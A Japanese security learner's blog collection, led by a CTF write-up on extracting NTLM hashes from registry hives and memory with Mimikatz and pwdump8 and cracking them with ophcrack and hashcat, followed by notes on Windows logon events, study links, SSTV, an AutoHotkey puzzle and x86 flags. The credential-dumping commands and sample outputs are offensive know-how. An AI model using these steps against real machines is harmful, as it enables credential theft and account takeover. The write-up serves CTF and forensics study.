SAM、SYSTEM、SECURITY ファイルからパスワードを解析する

setodanoteCTF の問題、レジストリハイブファイルから NTLM ハッシュを取得しパスワードを解析する方法についてメモします。

1.NTLM ハッシュを取得する

NTLM ハッシュを取得する方法をいくつか説明します。

レジストリハイブの SAM、SYSTEM ファイルから Mimikatz を使用して取得する

c:\Users\User\Desktop\a\mimikatz_trunk\x64>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #
  • デバッガーモードに切り替えて、より多くの特権と高いアクセス レベルを取得します。
mimikatz # privilege::debug
Privilege '20' OK

mimikatz #
  • ハイブファイルから NTLM ハッシュを取得します。
    SystemBkup.hivSamBkup.hiv の部分は任意のファイルパスを指定します。
    例では Gentil Kiwi ユーザの NTLM ハッシュが cc36cf7a8514893efccd332446158b1a という事が分かります。
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56

SAMKey : e44dd440fd77ebfe800edf60c11d4abd

RID  : 000001f4 (500)
User : Administrateur
LM   :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Invité
LM   :
NTLM :

RID  : 000003e8 (1000)
User : Gentil Kiwi
LM   :
NTLM : cc36cf7a8514893efccd332446158b1a

mimikatz #

レジストリハイブの SAM、SYSTEM、SECURITY ファイルから PwDump を使用して取得する

c:\Users\User\Desktop>pwdump8.exe -f c:\Users\User\Desktop\SYSTEM c:\Users\User\Desktop\SAM c:\Users\User\Desktop\SECURITY

PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it

Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
DefaultAccount:503:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
WDAGUtilityAccount:504:AAD3B435B51404EEAAD3B435B51404EE:27C3A146AA209B2120F7ECC9DB065540
test:1002:AAD3B435B51404EEAAD3B435B51404EE:3C99B8901B00758369F18B9DF72012C8

c:\Users\User\Desktop\a\pwdump8-8.2\pwdump8>

(おまけ)OS内に保存された認証情報を Mimikatz を使用して搾取する

c:\Users\User\Desktop\a\mimikatz_trunk\x64>mimikatz.exe
  • デバッガーモードに切り替えて、より多くの特権と高いアクセス レベルを取得します。
mimikatz # privilege::debug
  • OS から NTLM ハッシュを取得します。
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 88038 (00000000:000157e6)
Session           : Interactive from 1
User Name         : Gentil Kiwi
Domain            : vm-w7-ult
SID               : S-1-5-21-2044528444-627255920-3055224092-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * Password : waza1234/
        wdigest :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * Password : waza1234/
        kerberos :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * Password : waza1234/
        ssp :
         [00000000]
         * Username : admin
         * Domain   : nas
         * Password : anotherpassword
        credman :
         [00000000]
         * Username : nas\admin
         * Domain   : nas.chocolate.local
         * Password : anotherpassword

2.NTLM ハッシュからパスワードをクラックする

パスワードハッシュを取得する方法をいくつか説明します。

ophcrack を使用してクラックする

  • ophcrack を起動します。
    ※イメージはクラック済みです。
    ophcrack
  • メニュー [Load] - [Single hash] を選択し、NTLM ハッシュをセットします。
  • メニュー [tables] を選択し、レインボーテーブルをインストールします。
  • メニュー [crack] を選択してクラックします。

hashcat を使用してクラックする

  • NTLM ハッシュをテキストに保存します。
  • インターネットからパスワードリストを探します。
    パスワードリストとはパスワードを羅列したテキストファイルです。
  • パスワードリストを使用してクラックします。
    ※ハードウェアの条件が合わず実行でなかったので結果は未確認です。
C:\Users\User\Desktop>hashcat.exe -m 1000 -a 0 c:\Users\User\Desktop\hash.txt c:\Users\User\Desktop\realhuman_phill.txt

パスワードクラックサイトで検索する

感謝

setodaNote CTF Writeup (Forensics) - Tahoo!!
setodaNote CTF Writeup - fatsheep's memo.txt
setodaNote CTF Writeup - よもぎのメモ帳
setodaNote CTF
Ophcrack

event log

event logのメモ

 

イベントID 4624 の見方。4625 も同じと思われる。

・ログオンタイプ
  2:対話型
  3:ネットワーク
  4:バッチ
  5:サービス
  7:ロック解除
  10:リモートデスクトップ
  11:キャッシュでログオン(ドメイン認証していない)

・新しいログオン
  ログオンしたアカウントの情報

・ネットワーク情報
  ログオン元のホスト情報

・ソースネットワークアドレス
  ログオン元のIPアドレス

 

アカウントが正常にログオンしました。

サブジェクト:
    セキュリティ ID:        NULL SID
    アカウント名:        -
    アカウント ドメイン:        -
    ログオン ID:        0x0

ログオン情報:
    ログオン タイプ:        3
    制限付き管理モード:    -
    仮想アカウント:        いいえ
    昇格されたトークン:        いいえ

偽装レベル:        偽装

新しいログオン:
    セキュリティ ID:        S-1-5-21-3590118637-3649102893-3870174881-1002
    アカウント名:        test
    アカウント ドメイン:        STELLA-PC
    ログオン ID:        0x1D496F
    リンクされたログオン ID:        0x0
    ネットワーク アカウント名:    -
    ネットワーク アカウント ドメイン:    -
    ログオン GUID:        {00000000-0000-0000-0000-000000000000}

プロセス情報:
    プロセス ID:        0x0
    プロセス名:        -

ネットワーク情報:
    ワークステーション名:    DESKTOP-05C7F53
    ソース ネットワーク アドレス:    10.1.2.105
    ソース ポート:        0

詳細な認証情報:
    ログオン プロセス:        NtLmSsp 
    認証パッケージ:    NTLM
    移行されたサービス:    -
    パッケージ名 (NTLM のみ):    NTLM V2
    キーの長さ:        128

 

後で読む予定のセキュリティの勉強記事

セキュリティ初心者の自分が後で読もうかなと思っているページのリンクの備忘録だが初心者向けではないページも含まれているような気がする。さらに勉強記事でないものが含まれている気がする。

  1. GitHub - hasherezade/malware_training_vol1: Materials for Windows Malware Analysis training (volume 1)
  2. マルウェア解析チュートリアル<マルウェア解析のはじめかた編> | 調査研究/ブログ | 三井物産セキュアディレクション株式会社
  3. GitHub - mytechnotalent/Reverse-Engineering: A FREE comprehensive reverse engineering course covering x86, x64, 32-bit ARM & 64-bit ARM architectures.
  4. GoggleHeadedHacker
  5. Free and Affordable Malware Analysis & Reverse Engineering Training

  6.  

 

 

  • 色々
  1. 新人ITインフラエンジニアに役立つ学習リソース まとめ | Lab8010
  2. 「DetectionLab」で手軽にWindowsラボ環境を構築: NECセキュリティブログ | NEC
  3. UserAgentからOS/ブラウザなどの調べかたのまとめ - Qiita
  4. Webカメラやマイクへのアクセス日時が記録されるレジストリ - setodaNote
  5. このブログについて - setodaNote
  6. 記事一覧 - 午前7時のしなもんぶろぐ
  7. ずっと無料で使えるクラウドの「Free Tier」主要サービスまとめ。2021年版 - Publickey
  8. Online Compiler and IDE >> C/C++, Java, PHP, Python, Perl and 70+ other compilers and interpreters - Ideone.com
  9. exploit.courses

  10. Filesec.io

  11. コードで学ぶAWS入門

  12. 【CTF入門】ELFバイナリのリバースエンジニアリングに入門してみよう|かえるのほんだな

  13. Windowsイベントログ解析ツール「Hayabusa」を使ってみる - itiblog

  14. IPアドレスすら分からなかった文系事務員がOSCPを手にするまで - Qiita

  15. はじめに — マンガと学ぶデータビジュアライゼーション

  16. 2021年度新人研修その3:Windows解析研修 - FFRIエンジニアブログ

  17. Essential Windows CMD Commands You Should Know

 

  1. Linuxセキュリティ標準教科書 ダウンロード LinuCレベル3 303試験対応 | Linux技術者認定試験 リナック | LPI-Japan

 

 

  • 暗号?
  1. GitHub - mattnotmax/cyberchef-recipes: A list of cyber-chef recipes and curated links
  2. CyberChef のオペレーションめも - setodaNote
  3. 中国剰余定理 (CRT) の解説と、それを用いる問題のまとめ - Qiita
  4.  

 

  • プログラム
  1. https://web.wakayama-u.ac.jp/~tokoi/mpe2020.pdf
  2. openFrameworks
  3. CS50 for Japanese: コンピュータサイエンスの入門 – 当ウェブサイトは、Creative Commons ライセンスに基づいて管理されています。
  4. Kyoto University Research Information Repository: プログラミング演習 Python 2021
  5. exploit.courses

 

  1. Volatility 3 CheatSheet - onfvpBlog [Ashley Pearson]
  2. Introducing APT-Hunter : Threat Hunting Tool via Windows Event Log - Shells.Systems
  3. 学習向けのフォレンジックデータ / Where can I get the images to learn DFIR - Speaker Deck
  4. USB storage forensics in Win10 #1 - Events
  5. Case 001 Super Timeline Analysis - DFIR Madness
  6. DFIR Cheat Sheet | collection of tools, tips, and resources
  7. GitHub - JPCERTCC/log-analysis-training: ログ分析トレーニング用コンテンツ
  8. 小規模CSIRT向けWindowsイベントログで押さえておくこと|セキュリティブログ
  9. GitHub - zodiacon/RegExp: Registry Explorer - enhanced Registry editor/viewer
  10. binary foray: Registry Explorer screenshots
  11. Eric Zimmerman's tools
  12.  

 

SSTV

SSTV(Slow-scan television)は、主にアマチュア無線事業者によって使用される画像伝送方法。television となっているが実際は静止画を数十秒から数分かけて送信する。
CTF でもちょいちょい使用されているらしいのでメモ。
SSTV で検索すれば音声データから画像に変換するソフトが見つかる。

Auto Hotkey

Auto Hotkey とは 常駐化することでホットキー割り当てなどが行える windows 用のフリーソフト
wiki に詳しい説明があるが WaniCTF'21 で取り上げられたテキスト(スクリプト?)の読み方をメモしておく。

::the::
Send, +wani
return

::password::
Send, +c+t+f
return

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return

::today::
FormatTime , x,, yyyyMMdd
SendInput, {home}{right 4}_%x%
return

::is::
Send, _{end}{!}{!}{left}
return

:*?:ni::
Send, ^a^c{Esc}{home}password{:} {end}
return

上記が問題で使用されたテキスト。「the password for today is nani」と入力すると zip のパスワードになるらしい。

::the::
Send, +wani
return

”the”+「SPACE」と入力すると ”the”+「SPACE」が削除されて代わりに ”Wani” と入力される。

『::the::』は "the" に続いて終了を意味する文字(ここでは SPACE )を入力すると処理が実行されるという意味。
『Send,』に続く文字が入力されて『return』で処理が終了する。
『+』は「SHIFT」を意味する。

::password::
Send, +c+t+f
return 

これも同様に ”passowrd”+「SPACE」と入力すると ”CTF” に置き換わる。

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return 

”for”+「SPACE」と入力すると「HOME」キー、「右」キーを3回、「DEL」キー、”1”、「END」キー、「左」キーを2回、「DEL」キー、”7” の順番に入力される。
今入力した文字だけでなく、既に入力された文字に対しても編集をかけられるのが面白い。

::today::
FormatTime , x,, yyyyMMdd
SendInput, {home}{right 4}_%x%
return 

”today”+「SPACE」と入力するとシステム日付が変数 x に格納され、「HOME」キー、「右」キー4回、”_” 、変数 x の値の順番で入力される。
『Send』と『SendInput』は同じ意味らしい。

::is::
Send, _{end}{!}{!}{left}
return

" is"+「SPACE」と入力すると ”_ ”、「END」キー、”!” 、”!” 、「左」キーの順番で入力される。『{!}』 は『+1』でも代替えできるのでは?と思ったけど、外国語キーボードなど配列の違いがあるので CTF で『+1』は使えないのか。

:*?:ni::
Send, ^a^c{Esc}{home}password{:} {end}
return

”ni” と入力すると「CTRL」+「a」(全選択)、「CTRL」+「c」(コピー)、「ESC」キー、「HOME」キー、”password” 、”:” 、「END」キーの順番で入力される。
『:*?:』は「SPACE」などの終了文字を入力しなくても処理を実行するという意味。
便利そうだが意図しないところで変換が行われる危険もありそう。

 

プログラミングする際など色々使い道はありそうなツールだと思った。

アセンブラフラグレジスタメモ

フラグレジスタは16ビットの一つのレジスタで構成されそれぞれ1ビットずつに意味のあるフラグが存在しています
全てのフラグは1ビットで表現され、0か1かでその状態を表します

OF オーバーフロー 符号付演算で桁あふれが発生 OV(1) NV(0)
DF ディレクション ストリング操作命令で使用 DN(1) UP(0)
IF インタラプト・イネーブル 外部割込みの許可 EI(1) DI(0)
TF トラップ トレースで実行するときのフラグ
SF サイン 演算結果の符号が負数 NG(1) PL(0)
ZF ゼロ 演算結果がゼロ ZR(1) NZ(0)
AF 補助キャリー BCD演算で使用されるキャリー AC(1) NA(0)
PF パリティ 演算結果で各ビットで1となるビットの合計が偶数 PE(1) PO(0)
CF キャリー 通常の演算結果で桁あふれが発生 CY(1) NC(0)